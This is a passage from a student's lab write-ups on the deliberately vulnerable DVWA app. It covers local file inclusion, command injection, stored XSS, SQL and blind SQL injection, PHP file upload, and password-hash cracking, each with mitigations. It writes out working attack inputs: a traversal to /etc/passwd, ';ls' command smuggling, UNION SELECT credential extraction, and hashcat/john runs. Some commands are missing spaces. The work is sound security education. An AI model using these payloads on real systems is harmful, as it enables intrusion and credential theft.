- Use Content Security Policy (CSP)
- Implement HTTPOnly cookies
- Use secure development practices
- Perform regular security testing

🔐 Best Practices

- Never trust user input
- Use input validation libraries

- Escape special characters
- Follow OWASP secure coding guidelines
- Conduct regular vulnerability assessments

🛡️ Ethical Declaration

This practical was performed on DVWA in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 18 – File Inclusion (DVWA)

📝 Title

File Inclusion Vulnerability (Local File Inclusion – LFI) using DVWA

🎯 Objective

To demonstrate a Local File Inclusion (LFI) vulnerability in DVWA by manipulating URL parameters to access sensitive system files in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- DVWA (Damn Vulnerable Web Application)
- Apache2
- MariaDB
- Firefox Browser

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
ip a
```

Open DVWA:

```
http://127.0.0.1/dvwa
```

Login with:

```
admin / password
```

Set security level to **Low**.

🔍 Procedure

1️⃣ Set Security Level to Low

Navigate to:

```
DVWA Security → Low → Submit
```

2️⃣ Open File Inclusion Module

Go to:

```
DVWA → Vulnerabilities → File Inclusion
```

Observe URL parameter:

```
?page=include.php
```

3️⃣ Modify URL Parameter

Replace parameter value with:

```
../../../../../../../../etc/passwd
```

Final URL:

```
http://127.0.0.1/dvwa/vulnerabilities/fi/?page
=../../../../../../../../etc/passwd
```

4️⃣ Observe File Disclosure

The contents of `/etc/passwd` are displayed.

This confirms Local File Inclusion vulnerability.

📄 Result

The application included a local system file due to improper input validation.

Sensitive system information was exposed by manipulating the URL parameter.

The vulnerability is confirmed as Local File Inclusion (LFI).

⚠️ Impact

File Inclusion vulnerabilities can lead to:

- Sensitive file disclosure
- Configuration file exposure
- Credential leakage
- Source code disclosure
- Remote Code Execution (in severe cases)
- Full system compromise

🛡️ Prevention & Mitigation

- Validate and sanitize user input
- Avoid dynamic file inclusion using user input

- Use allow-list (whitelist) of permitted files
- Disable directory traversal
- Implement proper access controls
- Keep web applications updated

🔐 Best Practices

- Never trust user-controlled input
- Use secure coding standards
- Follow OWASP guidelines
- Perform regular vulnerability assessments
- Use Web Application Firewall (WAF)

🛡️ Ethical Declaration

This practical was performed on DVWA in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 19– Command Injection (DVWA)

📝 Title

Command Injection Vulnerability Exploitation using DVWA

🎯 Objective

To demonstrate a Command Injection vulnerability in DVWA by injecting system commands and retrieving directory and sensitive system information in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- DVWA (Damn Vulnerable Web Application)
- Apache2
- MariaDB
- Firefox Browser

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
ip a
```

Open DVWA:

```
http://127.0.0.1/dvwa
```

Login using:

```
admin / password
```

Set security level to **Low**.

🔍 Procedure

1️⃣ Set Security Level to Low

Navigate to:

```
DVWA Security → Low → Submit
```

2️⃣ Open Command Injection Module

Go to:

```
DVWA → Vulnerabilities → Command Injection
```

3️⃣ Inject System Commands

a) List Directories

Input:

```
127.0.0.1;ls
```

This lists server directories.

---

b) Display Current Directory

Input:

```
127.0.0.1; pwd
```

This shows present working directory.

---

c) Display Current User

Input:

```
127.0.0.1; whoami
```

This shows the web server user (usually www-data).

📄 Result

The application executed injected system commands due to improper input validation.

Sensitive system information such as:

- Directory structure
- Current working directory

- Server user account

was successfully retrieved.

This confirms Command Injection vulnerability.

⚠️ Impact

Command Injection can lead to:

- Unauthorized system access
- Sensitive data exposure
- Full server compromise
- Remote code execution
- Privilege escalation
- Complete system takeover

It is considered a critical vulnerability.

🛡️ Prevention & Mitigation

- Validate and sanitize user input
- Avoid using system commands with user input
- Use parameterized APIs
- Implement input allow-listing
- Use least privilege principle
- Disable dangerous system functions
- Conduct regular security testing

🔐 Best Practices

- Never trust user input
- Follow OWASP secure coding standards
- Implement Web Application Firewall (WAF)

- Perform regular penetration testing
- Keep applications updated

🛡️ Ethical Declaration

This practical was performed on DVWA in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 20 – XSS (Stored)

📝 Title

Stored Cross-Site Scripting (Persistent XSS) using DVWA

🎯 Objective

To demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in DVWA by injecting malicious JavaScript code that is permanently stored in the application database and executed whenever the page loads.

🛠️ Tools Used

- Kali Linux
- DVWA (Damn Vulnerable Web Application)
- Apache2
- MariaDB
- Firefox Browser

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
```

```
ip a
```

Open DVWA:

```
http://127.0.0.1/dvwa
```

Login:

```
admin / password
```

Set security level to **Low**.

🔍 Procedure

1️⃣ Set Security Level to Low

Navigate to:

```
DVWA Security → Low → Submit
```

2️⃣ Open XSS (Stored) Module

Go to:

```
DVWA → Vulnerabilities → XSS (Stored)
```

3️⃣ Inject Malicious Script

In Name field:

```
<script>alert('XSS')</script>
```

Click **Sign Guestbook**.

4️⃣ Observe Execution

A JavaScript alert box appears.

Refresh the page.

The alert appears again automatically, confirming the script is stored in the database.

📄 Result

The injected JavaScript was stored permanently in the application database and executed automatically when the page loaded.

This confirms the presence of a Stored XSS vulnerability.

⚠️ Impact

Stored XSS can lead to:

- Session hijacking
- Cookie theft
- Credential compromise
- Defacement
- Malware distribution
- Full account takeover

Stored XSS is more dangerous than Reflected XSS because it affects all users.

🛡️ Prevention & Mitigation

- Validate and sanitize all user inputs
- Encode output before rendering
- Use Content Security Policy (CSP)
- Implement HTTPOnly cookies
- Follow secure coding standards
- Perform regular security testing

🔐 Best Practices

- Never trust user input
- Use server-side validation
- Escape special characters
- Follow OWASP Top 10 guidelines
- Conduct periodic vulnerability assessments

🛡️ Ethical Declaration

This practical was performed on DVWA in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 21 – SQL Injection (DVWA)

📝 Title

SQL Injection Vulnerability Exploitation using DVWA

🎯 Objective

To detect and exploit SQL Injection vulnerabilities in DVWA, retrieve sensitive database information, and crack extracted password hashes in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- DVWA
- Apache2
- MariaDB
- JohnTheRipper / Hashcat

- Firefox Browser

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
ip a
```

Open:

```
http://127.0.0.1/dvwa
```

Login and set security level to **Low**.

🔍 Procedure

1️⃣ Detect SQL Injection

Entered:

```
1'
```

SQL error confirmed vulnerability.

2️⃣ Bypass Authentication

Input:

```
1 OR 1=1
```

All user records were displayed.

3️⃣ Extract Database Data

Used:

```
1 UNION SELECT user, password FROM users
```

Retrieved usernames and password hashes.

4️⃣ Boolean-Based Injection (TRUE/FALSE)

TRUE condition:

```
1 AND 1=1
```

Data displayed.

FALSE condition:

```
1 AND 1=2
```

No data returned.

Confirmed Boolean-based SQL injection.

5️⃣ Hash Cracking

Saved password hashes and used:

```
john--format=raw-md5 hashes.txt
```

Successfully cracked weak passwords.

📄 Result

The SQL Injection vulnerability allowed:

- Unauthorized database access
- Extraction of user credentials
- Hash retrieval and cracking

The application failed to validate user input properly.

⚠️ Impact

SQL Injection can lead to:

- Database compromise
- Credential theft
- Data leakage
- Authentication bypass
- Remote code execution
- Full system takeover

It is a critical vulnerability.

🛡️ Prevention & Mitigation

- Use prepared statements (Parameterized Queries)
- Validate and sanitize inputs
- Use ORM frameworks
- Apply least privilege principle
- Hide detailed SQL errors
- Regular security testing

🔐 Best Practices

- Follow OWASP Top 10 guidelines
- Perform code review
- Conduct regular vulnerability scanning
- Encrypt sensitive data
- Implement strong password policies

🛡️ Ethical Declaration

This practical was performed on DVWA in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 22 – File Upload Vulnerability (DVWA)

📝 Title

File Upload Vulnerability Exploitation using DVWA

🎯 Objective

To test and exploit the File Upload vulnerability in DVWA by uploading a PHP payload and verifying whether the application improperly allows execution of uploaded files in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- DVWA
- Apache2
- MariaDB
- Nano Text Editor
- Firefox Browser

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
ip a
```

Open:

```
http://127.0.0.1/dvwa
```

Login:

```
admin / password
```

Set security level to **Low**.

🔧 Additional Fix (Folder Permission Issue)

When attempting upload, error appeared:

```
Incorrect folder permissions
Folder is not writable
```

To fix:

```
sudochmod-R777 /var/www/html/dvwa/hackable/uploads/
sudochown-R www-data:www-data /var/www/html/dvwa/hackable/u
ploads/
sudo systemctlrestart apache2
```

This allowed Apache to write files into upload directory.

🔍 Procedure

1️⃣ Set Security Level to Low

Navigate to:

```
DVWA Security → Low → Submit
```

2️⃣ Create Payload

```
nano test.php
```

Add:

```
<?php
echo"File Upload Successful - Vulnerable!";
?>
```

Save file.

3️⃣ Upload File

Go to:

```
DVWA → Vulnerabilities → File Upload
```

Select `test.php` and click Upload.

Message displayed:

```
File successfully uploaded
```

4️⃣ Access Uploaded File

Open:

```
http://127.0.0.1/dvwa/hackable/uploads/test.php
```

Output:

```
File Upload Successful - Vulnerable!
```

📄 Result

The application allowed uploading and executing a PHP file after fixing directory permissions.

This confirms the presence of a File Upload vulnerability due to lack of file validation and security controls.

⚠️ Impact

File Upload vulnerabilities can lead to:

- Remote Code Execution
- Web shell upload
- Server compromise
- Data theft
- Full system takeover

This is a critical vulnerability.

🛡️ Prevention & Mitigation

- Restrict file types using whitelist
- Validate file extension and MIME type
- Store uploads outside web root
- Rename uploaded files
- Disable PHP execution in upload directory
- Use proper file permission configuration

🔐 Best Practices

- Follow secure coding standards
- Validate all user inputs
- Conduct regular security assessments
- Implement Web Application Firewall
- Monitor upload directory

🛡️ Ethical Declaration

This practical was performed on DVWA in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical – SQL Injection (Blind) & Hash Cracking

📝 Title

Blind SQL Injection Exploitation and Hash Cracking using Hashcat (DVWA)

🎯 Objective

To demonstrate Blind SQL Injection vulnerability in DVWA by inferring database information using TRUE/FALSE responses and cracking extracted password hashes using Hashcat in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- DVWA
- Apache2
- MariaDB
- Hashcat
- Firefox Browser

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
ip a
```

Open DVWA and set security level to **Low**.

🔍 Procedure

1️⃣ Confirm Blind SQL Injection

Tested:

```
1 AND 1=1
```

→ Valid response.

Tested:

```
1 AND 1=2
```

→ Invalid response.

This confirms Boolean-based Blind SQL Injection vulnerability.

2️⃣ Extract Password Hash

Used Boolean logic:

```
1 AND SUBSTRING((SELECT password FROM users WHERE user='adm
in'),1,1)='5'
```

Repeated process to reconstruct full hash.

Extracted hash:

```
5f4dcc3b5aa765d61d8327deb882cf99
```

3️⃣ Crack Hash Using Hashcat

Saved hash in file and executed:

```
hashcat-m0 hash.txt /usr/share/wordlists/rockyou.txt--force
```

Hash successfully cracked.

Recovered password:

```
password
```

📄 Result

Blind SQL Injection allowed extraction of sensitive database information using Boolean-based inference.

The retrieved password hash was successfully cracked using Hashcat, revealing weak password storage practices.

⚠️ Impact

Blind SQL Injection can lead to:

- Database data extraction
- Credential theft
- Authentication bypass
- Sensitive data exposure
- Complete database compromise

Weak hashing algorithms increase risk.

🛡️ Prevention & Mitigation

- Use parameterized queries
- Validate and sanitize inputs
- Hide detailed SQL errors
- Use strong hashing algorithms (bcrypt, Argon2)
- Apply least privilege principle
- Conduct regular security testing

🔐 Best Practices

- Follow OWASP Top 10 guidelines
- Implement secure password storage
- Perform regular vulnerability assessments
- Monitor abnormal database activity
- Keep systems updated

🛡️ Ethical Declaration

This practical was performed on DVWA in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.